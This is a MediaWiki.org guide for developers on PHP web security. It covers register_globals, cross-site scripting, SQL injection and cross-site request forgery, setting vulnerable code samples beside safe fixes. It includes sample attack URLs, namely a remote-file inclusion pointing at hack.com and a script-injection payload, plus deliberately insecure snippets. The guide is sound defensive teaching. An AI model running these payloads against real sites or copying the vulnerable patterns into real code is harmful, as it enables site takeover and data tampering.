Security for developers
From MediaWiki.org
Programming web applications in PHP brings with it a number of security issues which all MediaWiki developers should be aware of. Some of these are specific to PHP or to web development and will be surprising to developers who are not experienced in this field. This document gives a brief introduction to the most common security vulnerabilities.
Contents |
[edit] The developer's responsibility
Websites vulnerable to issues like the ones discussed below are an important part of the illicit global infrastructure of malware, spam and phishing. Bot herders crawl the web for vulnerable websites, and use the security vulnerabilities to hijack them. The hijacked website will distribute malware (viruses) to visitors, either via browser vulnerabilities or overtly by social engineering. The downloaded malware turns the client's computer into a "zombie", part of a global network of organised crime aimed at stealing bank account details, sending spam, and extorting money from websites with denial-of-service threats.
MediaWiki developers have a responsibility to avoid being a link in this criminal chain, by ensuring that their coding style is secure.
[edit] Demonstrable security
It's not enough to assure yourself that you are perfect and that your code has no security vulnerabilities. Everyone makes mistakes. All core code, and a good deal of extension code, is reviewed by experienced developers to verify its security. This is good practice and should be encouraged.
So, write code in such a way that it is easy to review. Don't write code that looks suspicious but is, on careful examination, secure. Such code causes unnecessary reviewer anxiety.
[edit] register_globals
PHP has a feature called register_globals. It is enabled by the site administrator in php.ini and cannot be disabled by the web application. It has been disabled by default in PHP for a long time, but shared web hosts continue to enable it routinely to maintain backwards compatibility with old scripts.
When enabled, register_globals causes all parameters defined in GET/POST/cookie data to be copied into the program's global scope. The classic register_globals vulnerability looks like this:
<?php // Get common functions require( "$IP/extensions/MyExtension/CommonFunctions.php" );
If allow_url_include is enabled or the user is using an old PHP version, this allows an attacker to execute an arbitrary script by requesting a URL such as
- http://example.com/w/extensions/MyExtension/MyExtension.php?IP=http://hack.com
All the attacker needs to do is set up a webserver at the named location and have it serve their attack script, and they can hijack your server. If allow_url_include is off, the attack is only slightly more difficult, with a variety of attack vectors still possible, such as file upload scripts, temporary files and double-backslash network paths on MS Windows servers.
For minimum reviewer anxiety, do not use global variables in script paths at all.
<?php // Get common functions require( dirname(__FILE__).'/CommonFunctions.php' );
If for some reason it's absolutely necessary to use a global variable like this, you can protect it using some boilerplate code, present in many extensions:
<?php if ( !defined( 'MEDIAWIKI' ) ) { echo "Not a valid entry point"; exit( 1 ); } require( "$IP/extensions/MyExtension/CommonFunctions.php" );
This ensures that the code can only be executed after MediaWiki is initialised. You can be sure that MediaWiki will set the $IP variable when it initialises. However, it will not set every conceivable variable. Code like this is still insecure:
<?php if ( !defined( 'MEDIAWIKI' ) ) exit; if ( !isset( $myExtPath ) ) { $myExtPath = "$IP/extensions/MyExtension"; } require( "$myExtPath/CommonFunctions.php" );
The $myExtPath variable can be injected by an attacker and will not be overwritten.
Because MediaWiki uses global variables for its configuration namespace, this means that all extensions must be configured in LocalSettings.php after their setup file is included.
<?php $kittyCatName = 'Yoshi'; // set this here to avoid register_globals vulnerabilities function writeKittyName() { global $wgOut; global $kittyCatName; // definitely safe $wgOut->addHTML( htmlspecialchars( $kittyCatName ) ); }
In LocalSettings.php
require( "$IP/extensions/KittyCat/KittyCat.php" ); // sets default variables $kittyCatName = 'Puss'; // override the default
[edit] Cross-site scripting
Cross-site scripting or XSS is, from the web app developer's perspective, another name for arbitrary JavaScript injection. It works like this:
- An attacker tricks an authenticated user into visiting a specially crafted URL, or a website which they control which can redirect them to the crafted URL
- The URL points to your web app. The web app, due to poor escaping, injects arbitrary JavaScript into the page.
- The script runs with full access to the user's cookies. It can modify the page in any way, and it can submit forms on behalf of the user. The risks are especially severe if the victim is an administrator with special privileges.
Example:
function getTableCell( $value ) { global $wgRequest; $class = $wgRequest->getVal( 'class' ); return "<td class='$class'>" . htmlspecialchars( $value ) . '</td>'; }
The attacker sends the victim to a URL like:
- http://example.com/wiki/SomePage?class='%20><script>hack();</script></td><td%20class='
Note that POST requests are also vulnerable, using offsite JavaScript.
To avoid this, the basic principles are:
- Validate your input
- Escape your output
You can skip validation, but you can never skip escaping. Escape everything.
It doesn't matter if the escaping is redundant with the validation, the performance cost is a small price to pay in exchange for a demonstrably secure web app. It doesn't matter if the input comes from a trusted source, escaping is necessary even then, because escaping gives you correctness as well as security.
Escape as close to the output as possible, so that the reviewer can easily verify that it was done. It helps you to verify your own code, as well.
All this is true of any text-based interchange format. We concentrate on HTML because web apps tend to generate a lot of it, and because the security issues are particularly severe. Every text format should have a well-studied escaping function.
We also have some convenience functions in Xml.php which do HTML escaping for you.
| Format | Escaping function | Notes |
|---|---|---|
| HTML | htmlspecialchars() | Always use double quotes, single quotes aren't escaped |
| XML ID | Sanitizer::escapeId() | For id attributes in HTML |
| JavaScript | FormatJson::encode(), Xml::encodeJsVar() | |
| URL parameters | wfArrayToCGI(), urlencode() | |
| SQL | $db->addQuotes() |
[edit] SQL injection
SQL injection is just like JavaScript injection. It occurs when poorly validated input allows an attacker to run arbitrary SQL queries on your server. In the worst case, this could allow them to exploit a buffer overflow vulnerability in the server, and thus execute arbitrary code.
MediaWiki uses an idiosyncratic SQL generation interface which has proven to be very effective for eliminating SQL injection vulnerabilities. The SQL generation interface also provides DBMS abstraction and features such as table prefixes.
Please study the functions provided in Database.php, and avoid using bare SQL at all costs.
Vulnerable bare SQL:
$limit = $wgRequest->getVal( 'limit' ); $res = $db->query( "SELECT * from kitties LIMIT $limit" );
This is vulnerable to arbitrary SQL injection, and a syntax error on Oracle into the bargain. The preferred way to do it is:
$limit = $wgRequest->getVal( 'limit' ); $limit = intval( $limit ); // OPTIONAL validation $res = $db->select( 'kitties', '*', false, __METHOD__, array( 'LIMIT' => $limit ) // REQUIRED automatic escaping );
[edit] Cross-site request forgery
Cross-site request forgery or CSRF occurs when a victim visits an external web page, which submits a form back to the victim domain to perform some malicious action.
For instance:
global $wgUser; if ( $wgUser->isAllowed('delete') && isset( $_POST['delete'] ) ) { $this->deleteItem( $_POST['delete'] ); }
The user may be tricked into visiting an external webpage under the control of an attacker. The external webpage will have a script on it which generates a fake form with a delete control and then submits it without user interaction. The form is submitted with the victim's cookies. Thus, the external website can delete any item.
The way we avoid this is by including a random token in the HTML before form submission, which then must be submitted intact during form submission. Thanks to JavaScript's "same origin" policy, the offsite script cannot read the random token from the form.
The code will look like this:
function showForm() { ... $wgOut->addHTML( Xml::hidden( 'token', $wgUser->editToken() ) ); ... } function submitForm() { ... if ( !$wgUser->matchEditToken( $wgRequest->getVal( 'token' ) ) ) { ... CSRF detected! ... return } // OK, continue submit ... }
Every form which performs a write operation should be protected in this way.